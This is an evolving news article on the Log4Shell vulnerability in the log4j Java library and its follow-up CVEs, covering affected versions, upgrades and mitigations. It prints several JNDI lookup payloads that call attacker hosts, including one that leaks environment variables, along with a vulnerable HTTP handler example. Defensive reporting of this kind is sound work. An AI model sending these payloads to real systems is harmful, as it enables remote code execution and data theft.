This is an evolving story, we will continue updating it. Please comment if something needs to be updated.
On December 9th, it was made public on Twitter that a zero-day exploit had been discovered in log4j, a popular Java logging library. All the library’s versions between 2.0 and 2.14.1 included are affected. Log4j 2.15.0 has been released, which no longer has this vulnerability. As pointed out by the POC published on GitHub, when log4j logs an attacker-controlled string value it can result in a Remote Code Execution (RCE). The issue affects log4j-core.
The log4j contributors mobilized to ensure that a fix was available and quickly merged. Log4j 2.15.0 is already available in Maven Central and all users are encouraged to upgrade immediately where possible. Even though the issue was fixed, the team continued the work to further harden the library by disabling the JNDI lookup by default and to disabled message lookups. These changes are available in log4j 2.16.0. As CVE-2021-45105 discovered that Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3. With all eyes on Log4j, vulnerability CVE-2021-44832(affecting versions 2.0-beta7 through 2.17.0) was discovered on December 29th: an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.
Where an upgrade is not immediately possible, an alternative mitigation option is to remove the JndiLookup
class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
It was initally thought that an alternative workaround would be to start the Java application or server with the log4j2.formatMsgNoLookups
system property set to true
:
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
this was proven wrong as pointed in CVE-2021-45046.
This property is not available in log4j versions below 2.10.0, and for users of these versions who cannot immediately upgrade, two strategies are available: "modify every logging pattern layout to say %m{nolookups}
instead of %m
in your logging config files," or "substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup
, in a way that your classloader uses your replacement instead of the vulnerable version of the class."
It was initially reported by Lunasec that servers running on JDKs versions higher than 6u211, 7u201, and 8u191 are not affected by the LDAP RCE attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase
is disabled by default, hence JNDI cannot load a remote codebase using LDAP. However, further analysis by the community has revealed that all JDK versions are vulnerable to this kind of attack. Alvaro Muñoz commented on Twitter that the deserialization attacks are still possible with the latest JDK: "The ldap server will return a serialized object which will get deserialized. RCE depends on gadget availability in the classpath though."
However, as reported by Michael Stepankin at Veracode, there are other attack vectors targeting this vulnerability that can result in RCE. Lari Hotari, OSS contributor and senior software engineer at DataStax, has also commented on an earlier version of this news item that even if the original RCE attack via LDAP may be prevented in later JDK versions, it is still possible to use the log4j vulnerability to leak sensitive information, such as environment variables, that could be used in other attacks e.g. ${jndi:ldap://${env:user}.xyz.collab.com/a}.
Therefore, immediate mitigation is recommended even if an application is running on a version of the JDK mentioned previously.
The exploit, that will be identified by CVE-2021-44228, and known colloquially at Log4Shell, takes advantage of a flaw in the Java Naming and Directory Interface’s code in the following way:
- The user sends data to the server (TCP, HTTP, or any other protocol allowing this)
- The server writes in the logs via log4j the data containing the malicious payload in the request:
${jndi:ldap://malicioussite.com/exploit}
(malicioussite.com being an attacker-controlled server) - The log4j vulnerability is triggered and the server makes a request to malicioussite.com via JNDI
- The response contains a path to a remote Java class file, which will be injected into the server process
- The injected payload allows the presumed attacker to execute arbitrary code
Or translated in code:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Or as depicted by Swiss Government Computer Emergency Response Team:
Given the ubiquity of Java and log4j’s usage and the facility of the exploit, the impact is critical and should be addressed by all users immediately. An increasing number of scans are performed on the web trying to exploit the vulnerability mostly coming from the Tor network. Similar vulnerabilities were exploited in the past concluding into data breaches like the Equifax data breach.
Various scans were conducted on the web; findings among the known affected services are Steam, Apple iCloud, or applications such as Minecraft, whose versions greater than 1.8.8 are affected. Brian Vermeer, senior developer advocate at Snyk, reported on the Snyk blog that Apache Struts 2, Apache Solr, and Apache Druid are all affected. Patching was started among the affected open source projects (for example Paper).
With the popularity of presumably simple libraries like log4j, many cloud services and applications might be impacted, as was the case of the Equifax data breach from 2017, when the repercussions were quite severe. Nevertheless, in the case of CVE-2021-44228, the community has rallied to help spread awareness and provide mitigation plans and also fixes.
Gunnar Morling, open source software engineer at Red Hat, has provided an example of a Maven Enforcer rule to ban any future usage of vulnerable log4j version in a project's source code. Hotari has provided a Log4Shell mitigation tester. Several individuals and organizations have also provided patches, such as Cybereason, although due diligence should be conducted before applying any of these community fixes.
This news item was updated on 12th and 13th December 2021, as more information about the vulnerability was discovered and shared by the community (see the comments below for additional context), and on 14th December 2021 to provide information regarding new hardened release of log4j 2.16.0. Further editing was done on 15th December 2021 to correct the initial assumption that setting formatMsgNoLookups to true would mitigate the effects of the vulnerability. With the discovery of CVE-2021-45105 further editing was done to point to the new mittigation. Updated on December 30th to incorporate changes related to CVE-2021-44832.